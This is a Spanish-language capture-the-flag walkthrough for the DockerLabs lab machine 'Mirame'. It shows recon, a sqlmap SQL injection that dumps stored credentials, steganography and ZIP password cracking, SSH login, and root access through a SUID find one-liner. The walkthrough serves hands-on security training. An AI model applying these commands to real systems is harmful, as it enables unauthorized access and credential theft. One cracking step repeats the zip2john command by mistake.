Mirame



🚀Preparación del Entorno

El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:

📌 Paso 1: Descargar el archivo CTF

Descarga el archivo ZIP del CTF que deseas utilizar.

📌 Paso 2: Descomprimir el archivo

Ejecuta el siguiente comando en la terminal:

unzip [nombre].zip

📂 Esto extraerá los siguientes archivos:

📌 Paso 3: Ejecutar el script de despliegue

Para iniciar el despliegue de la máquina virtual, ejecuta:

sudo bash auto_deploy.sh [nombre].tar

🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.


🎯Resolución

🔍 Reconocimiento

Comenzamos determinando si el objetivo es Windows o Linux enviando paquetes ICMP:

ping -c 3 172.17.0.2

Pasted image 20250629183849.png

📌 El valor TTL=64 → Linux

Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo

nmap -sVC -p- -n --min-rate 5000 172.17.0.2

🔍 Inspección manual del sitio en http://172.17.0.2:

Navegamos a http://172.17.0.2 y encontramos un login interesante:
Pasted image 20250629184054.png


🕵️Análisis de vulnerabilidades

Hacemos un escaneo de directorios y de todos los ficheros

feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 400 -e -x php,txt,html,jpg,js -u http://172.17.0.2/

Pasted image 20250629185015.png
📌 Archivos encontrados:

🔍 En page.php, al escribir una ciudad, muestra su 🌡️ temperatura:
Pasted image 20250629185214.png
📌 Volvemos al login para analizar posible inyección SQL:

sqlmap --url "http://172.17.0.2/index.php" --forms --dbs --batch 

✅ ¡Vulnerabilidad detectada! Se obtienen 2 bases de datos:
Pasted image 20250629185723.png


🎯 Explotación

🔓 Exploramos las tablas de la base de datos users:

sqlmap --url "http://172.17.0.2/index.php" --forms -D users --tables --batch

📂 Tabla encontrada: usuarios
Pasted image 20250629185942.png
Consultamos las credenciales guardadas en esa tabla:

sqlmap --url "http://172.17.0.2/index.php" --forms -T usuarios --columns --batch

Pasted image 20250629190037.png
Ahora indicamos que queramos ver el usuario y la contraseña

sqlmap --url "http://172.17.0.2/index.php" --forms -D users -T usuarios -C username,password --dump  --batch

📌 Uno de los usuarios llama la atención: directoriotravieso
Ingresamos a:

http://172.17.0.2/directoriotravieso/

📸 Encontramos una imagen sospechosa, la descargamos:
Pasted image 20250629190702.png
Pasted image 20250629190729.png
Intentamos extraer contenido oculto:

steghide info miramebien.jpg

🔐 Nos pide contraseña, así que probamos fuerza bruta:

 stegseek miramebien.jpg /usr/share/wordlists/rockyou.txt

✅ Contraseña descubierta: chocolate 🍫
Pasted image 20250629192500.png
Extraemos el contenido:

steghide extract -sf miramebien.jpg -p chocolate 

🗜️ Aparece un archivo comprimido: ocultito.zip. Al descomprimir, pide contraseña. Como ninguna funciona, crackeamos el hash del ZIP:

zip2john ocultito.zip > hash_zip.txt

y luego crackeamos con

zip2john ocultito.zip > hash_zip.txt

🔓 Contraseña encontrada: stupid1
Pasted image 20250629193134.png
Descomprimimos:

unzip ocultito.zip

📄 Dentro encontramos credenciales para SSH:
Pasted image 20250629193249.png

ssh carlos@172.17.0.2

✅ ¡Acceso concedido como carlos!
Pasted image 20250628182744.png


📈 Escalada de privilegios

Verificamos los permisos sudo:

sudo -l

❌ No hay comandos permitidos, así que buscamos binarios con el bit SUID:

find / -type f -perm -4000 2>/dev/null 

📌 Binario interesante: find
Pasted image 20250629193603.png
Consultamos nuevamente en la página de GTFOBins para ver cómo escalar privilegios utilizando el comando find.

find . -exec /bin/sh -p \; -quit
¡Ya somos root!

Pasted image 20250629193724.png